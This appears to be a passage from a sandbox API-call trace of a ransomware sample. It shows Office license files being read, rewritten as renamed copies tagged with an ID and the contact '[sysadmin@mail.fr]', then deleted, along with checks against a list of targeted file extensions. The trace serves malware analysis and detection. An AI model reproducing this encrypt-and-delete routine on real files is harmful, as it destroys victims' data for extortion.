	[0168.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0168.543] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.543] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0168.544] GetLastError () returned 0x0
	[0168.545] ReadFile (in: hFile=0x550, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x2d65, lpOverlapped=0x0) returned 1
	[0168.608] WriteFile (in: hFile=0x350, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0168.611] ReadFile (in: hFile=0x550, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.611] WriteFile (in: hFile=0x350, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x116, lpOverlapped=0x0) returned 1
	[0168.611] SetEndOfFile (hFile=0x350) returned 1
	[0168.611] CloseHandle (hObject=0x350) returned 1
	[0168.611] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.611] SetEndOfFile (hFile=0x550) returned 1
	[0168.615] CloseHandle (hObject=0x550) returned 1
	[0168.616] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0168.617] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms")) returned 1
	[0168.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83
	[0168.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83
	[0168.618] lstrlenW (lpString=".doc") returned 4
	[0168.618] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0168.618] lstrlenW (lpString=".docx") returned 5
	[0168.618] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0168.619] lstrlenW (lpString=".pdf") returned 4
	[0168.619] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0168.619] lstrlenW (lpString=".xls") returned 4
	[0168.619] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0168.619] lstrlenW (lpString=".xlsx") returned 5
	[0168.619] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0168.619] lstrlenW (lpString=".ppt") returned 4
	[0168.619] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0168.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83
	[0168.619] lstrlenW (lpString=".zip") returned 4
	[0168.619] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0168.619] lstrlenW (lpString=".rar") returned 4
	[0168.619] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0168.619] lstrlenW (lpString=".bz2") returned 4
	[0168.619] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0168.619] lstrlenW (lpString=".7z") returned 3
	[0168.619] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0168.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83
	[0168.619] lstrlenW (lpString=".dbf") returned 4
	[0168.619] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0168.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83
	[0168.619] lstrlenW (lpString=".1cd") returned 4
	[0168.619] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0168.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83
	[0168.619] lstrlenW (lpString=".jpg") returned 4
	[0168.620] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0168.620] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=21546) returned 1
	[0168.620] CloseHandle (hObject=0x550) returned 1
	[0168.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ppd.xrm-ms")) returned 0x220
	[0168.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0168.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0168.622] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.622] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0168.624] GetLastError () returned 0x0
	[0168.624] ReadFile (in: hFile=0x550, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x542a, lpOverlapped=0x0) returned 1
	[0168.644] WriteFile (in: hFile=0x350, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x5430, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x5430, lpOverlapped=0x0) returned 1
	[0168.646] ReadFile (in: hFile=0x550, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.646] WriteFile (in: hFile=0x350, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x10e, lpOverlapped=0x0) returned 1
	[0168.646] SetEndOfFile (hFile=0x350) returned 1
	[0168.647] CloseHandle (hObject=0x350) returned 1
	[0168.648] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.648] SetEndOfFile (hFile=0x550) returned 1
	[0168.655] CloseHandle (hObject=0x550) returned 1
	[0168.655] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0168.831] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ppd.xrm-ms")) returned 1
	[0168.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79
	[0168.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79
	[0168.876] lstrlenW (lpString=".doc") returned 4
	[0168.876] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0168.876] lstrlenW (lpString=".docx") returned 5
	[0168.876] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0168.876] lstrlenW (lpString=".pdf") returned 4
	[0168.876] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0168.876] lstrlenW (lpString=".xls") returned 4
	[0168.877] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0168.877] lstrlenW (lpString=".xlsx") returned 5
	[0168.877] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0168.877] lstrlenW (lpString=".ppt") returned 4
	[0168.877] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0168.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79
	[0168.877] lstrlenW (lpString=".zip") returned 4
	[0168.877] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0168.877] lstrlenW (lpString=".rar") returned 4
	[0168.877] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0168.877] lstrlenW (lpString=".bz2") returned 4
	[0168.877] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0168.877] lstrlenW (lpString=".7z") returned 3
	[0168.877] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0168.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79
	[0168.877] lstrlenW (lpString=".dbf") returned 4
	[0168.877] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0168.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79
	[0168.877] lstrlenW (lpString=".1cd") returned 4
	[0168.877] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0168.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79
	[0168.877] lstrlenW (lpString=".jpg") returned 4
	[0168.877] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0169.042] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.042] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0169.043] GetLastError () returned 0x0
	[0169.043] ReadFile (in: hFile=0x570, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x299b, lpOverlapped=0x0) returned 1
	[0169.054] WriteFile (in: hFile=0x53c, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x29a0, lpOverlapped=0x0) returned 1
	[0169.055] ReadFile (in: hFile=0x570, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.055] WriteFile (in: hFile=0x53c, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x10e, lpOverlapped=0x0) returned 1
	[0169.055] SetEndOfFile (hFile=0x53c) returned 1
	[0169.055] CloseHandle (hObject=0x53c) returned 1
	[0169.055] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.056] SetEndOfFile (hFile=0x570) returned 1
	[0169.059] CloseHandle (hObject=0x570) returned 1
	[0169.068] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0169.148] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-pl.xrm-ms")) returned 1
	[0169.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79
	[0169.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79
	[0169.149] lstrlenW (lpString=".doc") returned 4
	[0169.149] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0169.149] lstrlenW (lpString=".docx") returned 5
	[0169.149] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0169.149] lstrlenW (lpString=".pdf") returned 4
	[0169.149] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0169.149] lstrlenW (lpString=".xls") returned 4
	[0169.149] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0169.149] lstrlenW (lpString=".xlsx") returned 5
	[0169.149] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0169.149] lstrlenW (lpString=".ppt") returned 4
	[0169.149] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0169.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79
	[0169.149] lstrlenW (lpString=".zip") returned 4
	[0169.149] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0169.149] lstrlenW (lpString=".rar") returned 4
	[0169.149] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0169.149] lstrlenW (lpString=".bz2") returned 4
	[0169.150] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0169.150] lstrlenW (lpString=".7z") returned 3
	[0169.150] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0169.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79
	[0169.150] lstrlenW (lpString=".dbf") returned 4
	[0169.150] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0169.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79
	[0169.150] lstrlenW (lpString=".1cd") returned 4
	[0169.150] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0169.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79
	[0169.150] lstrlenW (lpString=".jpg") returned 4
	[0169.150] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0169.151] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=11616) returned 1
	[0169.151] CloseHandle (hObject=0x350) returned 1
	[0169.151] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ul-oob.xrm-ms")) returned 0x220
	[0169.151] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0169.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0169.152] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.152] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8
	[0169.154] GetLastError () returned 0x0
	[0169.154] ReadFile (in: hFile=0x350, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x2d60, lpOverlapped=0x0) returned 1
	[0169.225] WriteFile (in: hFile=0x4d8, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0169.227] ReadFile (in: hFile=0x350, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.227] WriteFile (in: hFile=0x4d8, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x114, lpOverlapped=0x0) returned 1
	[0169.228] SetEndOfFile (hFile=0x4d8) returned 1
	[0169.228] CloseHandle (hObject=0x4d8) returned 1
	[0169.228] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.228] SetEndOfFile (hFile=0x350) returned 1
	[0169.232] CloseHandle (hObject=0x350) returned 1
	[0169.233] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0169.233] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ul-oob.xrm-ms")) returned 1
	[0169.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82
	[0169.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82
	[0169.235] lstrlenW (lpString=".doc") returned 4
	[0169.235] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0169.235] lstrlenW (lpString=".docx") returned 5
	[0169.235] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0169.235] lstrlenW (lpString=".pdf") returned 4
	[0169.235] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0169.235] lstrlenW (lpString=".xls") returned 4
	[0169.235] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0169.235] lstrlenW (lpString=".xlsx") returned 5
	[0169.235] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0169.235] lstrlenW (lpString=".ppt") returned 4
	[0169.235] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0169.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82
	[0169.235] lstrlenW (lpString=".zip") returned 4
	[0169.235] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0169.235] lstrlenW (lpString=".rar") returned 4
	[0169.235] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0169.235] lstrlenW (lpString=".bz2") returned 4
	[0169.235] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0169.235] lstrlenW (lpString=".7z") returned 3
	[0169.235] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0169.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82
	[0169.235] lstrlenW (lpString=".dbf") returned 4
	[0169.235] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0169.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82
	[0169.235] lstrlenW (lpString=".1cd") returned 4
	[0169.235] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0169.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82
	[0169.235] lstrlenW (lpString=".jpg") returned 4
	[0169.236] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0169.236] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=21728) returned 1
	[0169.236] CloseHandle (hObject=0x350) returned 1
	[0169.236] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ppd.xrm-ms")) returned 0x220
	[0169.237] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0169.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0169.238] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.238] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8
	[0169.239] GetLastError () returned 0x0
	[0169.239] ReadFile (in: hFile=0x350, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x54e0, lpOverlapped=0x0) returned 1
	[0169.669] WriteFile (in: hFile=0x4d8, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x54f0, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x54f0, lpOverlapped=0x0) returned 1
	[0169.670] ReadFile (in: hFile=0x350, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.670] WriteFile (in: hFile=0x4d8, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x110, lpOverlapped=0x0) returned 1
	[0169.670] SetEndOfFile (hFile=0x4d8) returned 1
	[0169.679] CloseHandle (hObject=0x4d8) returned 1
	[0169.685] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.685] SetEndOfFile (hFile=0x350) returned 1
	[0169.694] CloseHandle (hObject=0x350) returned 1
	[0169.695] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
